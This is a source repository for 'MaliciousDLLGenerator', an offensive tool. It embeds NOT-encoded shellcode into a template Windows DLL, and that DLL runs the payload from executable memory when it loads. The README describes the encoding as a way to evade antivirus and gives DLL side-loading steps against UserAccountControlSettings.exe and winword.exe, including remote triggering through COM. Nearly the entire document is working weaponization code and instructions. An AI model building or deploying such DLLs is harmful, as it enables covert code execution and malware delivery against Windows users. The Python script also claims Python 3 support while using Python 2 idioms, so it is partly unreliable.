├── MaliciousDllGenerator.py ├── README.md ├── src ├── encoder-32.asm ├── encoder-64.asm ├── maindll.c └── maindll.h └── templates └── default.dll /MaliciousDllGenerator.py: -------------------------------------------------------------------------------- 1 | #!/usr/vin/env python3 2 | import os 3 | import sys 4 | import argparse 5 | 6 | class UI: 7 | 8 | @staticmethod 9 | def error(error, die=False): 10 | print("\n\033[31m[-] %s\033[00m") % error 11 | if die: 12 | os._exit(0) 13 | 14 | @staticmethod 15 | def success(message): 16 | print("\033[32m[+] %s\033[00m") % message 17 | 18 | @staticmethod 19 | def warn(message): 20 | print("\033[33m[*] %s\033[00m") % message 21 | 22 | @staticmethod 23 | def banner(): 24 | print("\nMaliciousDLLGenerator - Mr.Un1k0d3r - RingZer0 Team\n---------------------------------------------------\n") 25 | 26 | class Encoder: 27 | 28 | def __init__(self): 29 | pass 30 | 31 | @staticmethod 32 | def Encode(data): 33 | encoded = "" 34 | for c in data: 35 | encoded += Encoder.NotEncode(c) 36 | return encoded 37 | 38 | @staticmethod 39 | def NotEncode(c): 40 | return chr((1 << 8) - 1 - ord(c)) 41 | 42 | class FileUtil: 43 | 44 | @staticmethod 45 | def ReadFile(path): 46 | FileUtil.FileExists(path) 47 | return open(path, "rb").read() 48 | 49 | @staticmethod 50 | def FileExists(path): 51 | if os.path.exists(path): 52 | return True 53 | 54 | UI.error('%s not found' % path, True) 55 | 56 | 57 | 58 | if __name__ == "__main__": 59 | 60 | UI.banner() 61 | parser = argparse.ArgumentParser() 62 | parser.add_argument("-o", "--output", type=str, help="Output filename", required=True) 63 | parser.add_argument("-s", "--shellcode", type=str, help="Raw shellcode file path. (Max length is 1024 bytes)", required=True) 64 | parser.add_argument("-t", "--type", type=str, help="DLL type. Currently support (default, oart)", default="default") 65 | args = parser.parse_args() 66 | 67 | dlls = {} 68 | dlls["default"] = 0x2200 69 | dlls["oart"] = 0x2200 70 | 71 | if dlls.has_key(args.type): 72 | dll_path = "templates/%s.dll" % args.type 73 | dll_data = FileUtil.ReadFile(dll_path) 74 | UI.success("Loading %s" % dll_path) 75 | 76 | shellcode = Encoder.Encode(FileUtil.ReadFile(args.shellcode)) 77 | if len(shellcode) > 1024: 78 | UI.error("Your shellcode is bigger than 1024 bytes", True) 79 | 80 | UI.success("Loading shellcode file %s. Shellcode length %s (%d) bytes" % (args.shellcode, hex(len(shellcode)), len(shellcode))) 81 | output = dll_data[:int(dlls[args.type])] + shellcode + "\x00" * (1024 - len(shellcode)) + dll_data[int(dlls[args.type]) + 1024:] 82 | open(args.output, "wb").write(output) 83 | 84 | UI.success("\"%s\" Weaponized DLL was saved" % args.output) 85 | else: 86 | UI.error("Invalid DLL type") 87 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MaliciousDLLGenerator 2 | 3 | DLL Generator for side loading attack (Python 3 Compatible Version) 4 | 5 | ## Note 6 | 7 | This project was originally created by Mr.Un1k0d3r of RingZer0 Team I couldn't find a repository 8 | to the original or i would have sumitted a Pull Request. In lieu of that i decided to host it here. 9 | 10 | All credit goes to Mr.Un1k0d3r and RingZer0 Team. All i did was make it Python 3 compatible. 11 | 12 | 13 | ### Currently only support 64 bits shellcode 14 | 15 | # Usage 16 | 17 | ``` 18 | $ python gen-dll.py -h 19 | 20 | MaliciousDLLGenerator - Mr.Un1k0d3r - RingZer0 Team 21 | --------------------------------------------------- 22 | 23 | 24 | [-] Shellcode size is limited to 1024 bytes 25 | usage: gen-dll.py [-h] -o OUTPUT -s SHELLCODE [-t TYPE] 26 | 27 | optional arguments: 28 | -h, --help show this help message and exit 29 | -o OUTPUT, --output OUTPUT 30 | Output filename 31 | -s SHELLCODE, --shellcode SHELLCODE 32 | Raw shellcode file path 33 | -t TYPE, --type TYPE DLL type (default,oart) 34 | ``` 35 | 36 | # Shellcode gadget 37 | 38 | Instead of using the standard shellcode calling structure 39 | 40 | ``` 41 | char shellcode[] = {}; 42 | int(*execute)(void); 43 | execute = (int(*)())shellcode; 44 | execute(); 45 | ``` 46 | 47 | Which result in the following assembly code 48 | 49 | ``` 50 | call rax 51 | ``` 52 | 53 | The DLL is mimicking a standard function return by using the following code 54 | 55 | ``` 56 | CHAR payload[] = ""; 57 | asm volatile ("mov %%rax, %0\n\t" 58 | "push %%rax\n\t" 59 | "ret" 60 | : 61 | : "r" (payload)); 62 | ``` 63 | 64 | Which result in following assembly code 65 | 66 | ``` 67 | mov rax, rsp 68 | push rax 69 | ret 70 | ``` 71 | 72 | # Compiling from source using GCC 73 | 74 | ``` 75 | C:\> x86_64-w64-mingw32-g++.exe -Wall -DBUILD_DLL -O2 -c maindll.cpp -o maindll.o 76 | C:\> x86_64-w64-mingw32-g++.exe -shared -Wl,--dll maindll.o -o yourdll.dll -s 77 | ``` 78 | 79 | # Compiling from ASM 80 | 81 | 64 bits 82 | 83 | ``` 84 | $ nasm -felf64 encoder-64.asm -o encoder-64.o 85 | $ ld -N encoder-64.o -o encoder-64 86 | ``` 87 | 88 | 32 bits 89 | 90 | ``` 91 | $ nasm -felf32 encoder-32.asm -o encoder-32.o 92 | $ ld -N -melf_i386 encoder-32.o -o encoder-32 93 | ``` 94 | 95 | # Obfuscation shellcode 96 | 97 | The DLL encode the shellcode using a simple NOT encoder to avoid AV detection. 98 | 99 | # 64 bits NOT encoder source 100 | 101 | ``` 102 | _start: 103 | call $ + 5 104 | pop rbx 105 | xor rax, rax 106 | mov rcx, rax 107 | mov cl, 128 108 | add rbx, 16 109 | _loop: 110 | not QWORD [rbx + rcx * 8] 111 | loop _loop 112 | add rbx, 8 113 | push rbx 114 | ret 115 | ``` 116 | 117 | # 32 bits NOT encoder source 118 | 119 | ``` 120 | _start: 121 | call $ + 5 122 | pop ebx 123 | xor eax, eax 124 | mov ecx, eax 125 | mov cx, 256 126 | add ebx, 18 127 | _loop: 128 | not DWORD [ebx + ecx * 4] 129 | loop _loop 130 | add ebx, 4 131 | push ebx 132 | ret 133 | ``` 134 | 135 | # Attack examples 136 | 137 | Using windows binaries 138 | 139 | ``` 140 | copy C:\windows\system32\UserAccountControlSettings.exe to a writable location 141 | add the malicious dll in the same folder and rename it to cryptbase.dll 142 | ``` 143 | 144 | ``` 145 | copy C:\Program Files (x86)\Microsoft Office\root\Office16\winword.exe to a writable location 146 | add the malicious dll (use the oart switch) in the same folder and rename it to oart.dll 147 | 148 | it can be trigged remotely using COM object. Winword can be started without GUI using the following command: 149 | C:\yourpath\winword.exe /Automation -Embedding 150 | ``` 151 | 152 | # Credit 153 | Mr.Un1k0d3r RingZer0 Team 154 | -------------------------------------------------------------------------------- /src/encoder-32.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | global _start 4 | 5 | section .text 6 | 7 | _start: 8 | call $ + 5 9 | pop ebx 10 | xor eax, eax 11 | mov ecx, eax 12 | mov cx, 256 13 | add ebx, 18 14 | _loop: 15 | not DWORD [ebx + ecx * 4] 16 | loop _loop 17 | add ebx, 4 18 | push ebx 19 | ret 20 | -------------------------------------------------------------------------------- /src/encoder-64.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | global _start 4 | 5 | section .text 6 | 7 | _start: 8 | call $ + 5 9 | pop rbx 10 | xor rax, rax 11 | mov rcx, rax 12 | mov cl, 128 13 | add rbx, 16 14 | _loop: 15 | not QWORD [rbx + rcx * 8] 16 | loop _loop 17 | add rbx, 8 18 | push rbx 19 | ret 20 | -------------------------------------------------------------------------------- /src/maindll.c: -------------------------------------------------------------------------------- 1 | #include "maindll.h" 2 | 3 | #define SHELLCODE_SIZE 1024 4 | #define DECODER_SIZE 30 5 | BOOL bExec = FALSE; 6 | void DLL_EXPORT Init() 7 | { DWORD dwSize; 8 | 9 | if(!bExec) { 10 | bExec++; 11 | 12 | CHAR payload[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 13 | CHAR decoder[] = "\xe8\x00\x00\x00\x00\x5b\x48\x31\xc0\x48\x89\xc1\xb1\x80\x48\x83\xc3\x11\x48\xf7\x14\xcb\xe2\xfa\x48\x83\xc3\x08\x53\xc3"; 14 | VOID *mem = VirtualAlloc(NULL, DECODER_SIZE + SHELLCODE_SIZE, 0x00002000 | 0x00001000, PAGE_READWRITE); // memory is read / write 15 | VirtualProtect(mem, DECODER_SIZE + SHELLCODE_SIZE, 0x40, &dwSize); // Change memory permission to PAGE_EXECUTE_READWRITE 16 | memcpy(mem, decoder, DECODER_SIZE); 17 | memcpy(mem + DECODER_SIZE, payload, SHELLCODE_SIZE); 18 | 19 | asm volatile ("mov %0, %%rcx\n\t" 20 | "push %%rcx\n\t" 21 | "ret" 22 | : 23 | : "r" (mem)); 24 | } 25 | // impossible to reach because of the shellcode gadget. 26 | } 27 | 28 | extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 29 | { 30 | switch (fdwReason) 31 | { 32 | case DLL_PROCESS_ATTACH: 33 | Init(); 34 | // attach to process 35 | // return FALSE to fail DLL load 36 | break; 37 | 38 | case DLL_PROCESS_DETACH: 39 | Init(); 40 | // detach from process 41 | break; 42 | 43 | case DLL_THREAD_ATTACH: 44 | Init(); 45 | // attach to thread 46 | 47 | break; 48 | 49 | case DLL_THREAD_DETACH: 50 | Init(); 51 | // detach from thread 52 | break; 53 | } 54 | return TRUE; // succesful 55 | } 56 | -------------------------------------------------------------------------------- /src/maindll.h: -------------------------------------------------------------------------------- 1 | #ifndef __MAINDLL_H__ 2 | #define __MAINDLL_H__ 3 | 4 | #include 5 | 6 | /* To use this exported function of dll, include this header 7 | * in your project. 8 | */ 9 | 10 | #ifdef BUILD_DLL 11 | #define DLL_EXPORT __declspec(dllexport) 12 | #else 13 | #define DLL_EXPORT __declspec(dllimport) 14 | #endif 15 | 16 | 17 | #ifdef __cplusplus 18 | extern "C" 19 | { 20 | #endif 21 | 22 | void DLL_EXPORT Init(); 23 | 24 | #ifdef __cplusplus 25 | } 26 | #endif 27 | 28 | #endif // __MAINDLL_H__ 29 | -------------------------------------------------------------------------------- /templates/default.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NullArray/MaliciousDLLGen/834637e06275a4cd85b2643d00b84ee2d35d3189/templates/default.dll --------------------------------------------------------------------------------